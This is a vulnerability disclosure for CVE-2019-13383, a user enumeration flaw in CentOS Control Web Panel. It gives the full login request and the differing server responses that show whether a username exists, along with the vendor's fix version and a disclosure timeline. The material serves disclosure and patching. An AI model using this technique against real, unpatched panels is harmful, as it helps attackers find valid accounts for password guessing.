CentOS Control Web Panel 0.9.8.838 - User Enumeration

# Exploit Title: CWP (CentOS Control Web Panel) < 0.9.8.848 User Enumeration via HTTP Response Message
# Date: 15 July 2019
# Exploit Author: Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak
# Vendor Homepage: https://control-webpanel.com/changelog
# Software Link: Not available, user panel only available for lastest version
# Version: 0.9.8.836 to 0.9.8.847
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-13383

# ====================================================================
# Information
# ====================================================================

Product     : CWP Control Web Panel
version     : 0.9.8.838
Fixed on    : 0.9.8.848
Test on     : CentOS 7.6.1810 (Core)
Reference   : https://control-webpanel.com/
CVE-Number  : 2019-13383



# ====================================================================
# Root course of the vulnerability
# ====================================================================
The server response different message between login with valid and invalid user.
This allows attackers to check whether a username is valid by reading the HTTP response.



# ====================================================================
# Steps to Reproduce
# ====================================================================

1. Login with a random user by using invalid password

POST /login/index.php?acc=validate HTTP/1.1
Host: 192.168.80.137:2083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
csrftoken: d41d8cd98f00b204e9800998ecf8427e
X-Requested-With: XMLHttpRequest
Content-Length: 30
Connection: close
Referer: https://192.168.80.137:2083/login/?acc=logon

username=AAA&password=c2Rmc2Rm



2. Check the HTTP response body

2.1 User does not exist (server response suspended)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:39:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 9

suspended


2.2 User does exist (server response nothing)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:40:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 0



3. HTTP response body format depends on software version, but all of them keep responding differently as the example below

------------------------------------------------------------
|  Username  |	 Password   |   Result                     |

------------------------------------------------------------
|  valid     |	 valid	    |   login success              |

|  valid     |	 invalid    |	{"error":"failed"}         |

|  invalid   |	 invalid    |	{"error":"user_invalid"}   |
------------------------------------------------------------



# ====================================================================
# PoC
# ====================================================================
https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13383.md



# ====================================================================
# Timeline
# ====================================================================
2019-07-06: Discovered the bug
2019-07-06: Reported to vendor
2019-07-06: Vender accepted the vulnerability
2019-07-11: The vulnerability has been fixed
2019-07-15: Published



# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak